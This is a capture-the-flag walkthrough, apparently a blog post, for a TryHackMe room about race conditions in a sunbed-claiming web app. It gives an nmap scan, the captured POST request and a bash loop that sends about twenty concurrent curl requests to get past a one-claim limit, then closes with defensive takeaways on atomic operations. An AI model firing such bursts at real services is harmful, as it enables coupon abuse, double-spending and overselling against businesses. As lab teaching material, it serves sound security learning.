๐ฏ Room Info
| Room | Towel on the Sunbed |
| Difficulty | ๐ก Medium |
| Category | Race Conditions, business logic flaws |
| Link | tryhackme.com (search "Towel on the Sunbed") |
๐ What This Room Is About
This room steps away from the usual injection/access-control bugs and into race conditions โ a class of vulnerability that exploits timing rather than logic. The app itself might validate everything correctly... as long as requests come in one at a time. The bug appears when multiple requests hit the server simultaneously, and the server doesn't properly lock or serialize the operation in between.
The playful theme: claiming a sunbed with a "towel" before anyone else โ but the underlying mechanic is something that shows up in real systems constantly: coupon codes redeemed multiple times, double-spending in payment systems, or limited-stock items being "purchased" more times than actually exist in inventory.
The room covers:
- ๐ Finding an action with a limited-use constraint (claim, redeem, purchase, etc.)
- ๐ Understanding how the constraint is (incorrectly) enforced
- โก Firing many requests at once to win the race
- ๐ฉ Exploiting the race condition to bypass the intended limit
๐ง Skills You'll Practice
- Recognizing race-condition-prone features (limited actions, single-use tokens, stock/inventory checks)
- Using tools to send concurrent/parallel HTTP requests
- Understanding TOCTOU (Time-Of-Check to Time-Of-Use) bugs
- Reading server responses to confirm a race was won
๐ ๏ธ Step-by-Step Walkthrough
1๏ธโฃ Scan and explore the target
nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
Browse the site and find the feature with a limit attached โ in this room, it's claiming a sunbed (only supposed to be claimable once per user, or a limited number available total).
2๏ธโฃ Understand the normal flow
Perform the action once, normally, through the browser or with curl, and observe the response:
curl -X POST http://<TARGET_IP>/claim-sunbed \
-H "Cookie: session=<YOUR_SESSION>" \
-d "sunbed_id=3"
Note the success response, and try it again immediately โ if the app is working "correctly" (from a business logic standpoint), the second attempt should be rejected with something like "already claimed".
๐ก Why this matters: most race condition bugs exist because a check-then-act pattern in the server code isn't atomic. The server checks "is this available?", then โ a moment later โ marks it "claimed." If two requests both pass the check before either one finishes the "mark as claimed" step, both succeed.
3๏ธโฃ Capture the exact request
Use Burp Suite to intercept the claim request and send it to Repeater or Intruder โ you'll need the exact request structure (headers, cookies, body) to replay it many times identically.
POST /claim-sunbed HTTP/1.1
Host: <TARGET_IP>
Cookie: session=<YOUR_SESSION>
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
sunbed_id=3
4๏ธโฃ Fire the requests concurrently
The key to winning a race condition is sending many copies of the identical request at the same instant, not one after another. A few approaches:
Burp Suite Intruder (Turbo Intruder extension gives the tightest timing):
- Load the captured request
- Set the attack type to send the same request many times in a very tight burst
Command-line approach with curl + backgrounding:
for i in $(seq 1 20); do
curl -s -X POST http://<TARGET_IP>/claim-sunbed \
-H "Cookie: session=<YOUR_SESSION>" \
-d "sunbed_id=3" &
done
wait
The & backgrounds each request so they fire near-simultaneously instead of sequentially, and wait blocks until they've all completed.
๐ก Why this matters: a
forloop without backgrounding sends requests one after another โ way too slow to expose most race conditions. The&+waitpattern (or a proper concurrency tool like Turbo Intruder) is what actually creates the race.
5๏ธโฃ Check the results
Look at the responses โ if more than one request returned a "success" response for an action that should only succeed once, you've won the race and exploited the vulnerability.
grep -c "success" responses.log
6๏ธโฃ Find the flag
Winning the race typically unlocks something โ extra currency, an item that shouldn't have been obtainable twice, or an admin-only state โ which then reveals the flag.
๐ฉ Click to reveal: flag
Redacted โ swap in your own captured flag if you want to keep a private record.
๐ Every Command, In Order
nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
curl -X POST http://<TARGET_IP>/claim-sunbed -H "Cookie: session=<YOUR_SESSION>" -d "sunbed_id=3"
# The race โ fire many requests concurrently:
for i in $(seq 1 20); do
curl -s -X POST http://<TARGET_IP>/claim-sunbed \
-H "Cookie: session=<YOUR_SESSION>" \
-d "sunbed_id=3" &
done
wait
๐ Key Takeaways
- Race conditions break "check-then-act" logic. Any time a server checks a condition and then updates state in two separate steps, there's a window where concurrent requests can both slip through.
- Sequential testing won't find this bug class. You have to specifically test with true concurrency โ one request at a time will always look "safe."
- This isn't just a CTF trick. Race conditions have caused real financial losses โ duplicate coupon redemptions, overselling limited inventory, and even double-spending in early cryptocurrency exchanges all trace back to this exact bug pattern.
- The fix is atomicity. Proper systems use database-level locking, atomic increment/decrement operations, or unique constraints so the "check" and the "act" happen as one indivisible operation.
Top comments (0)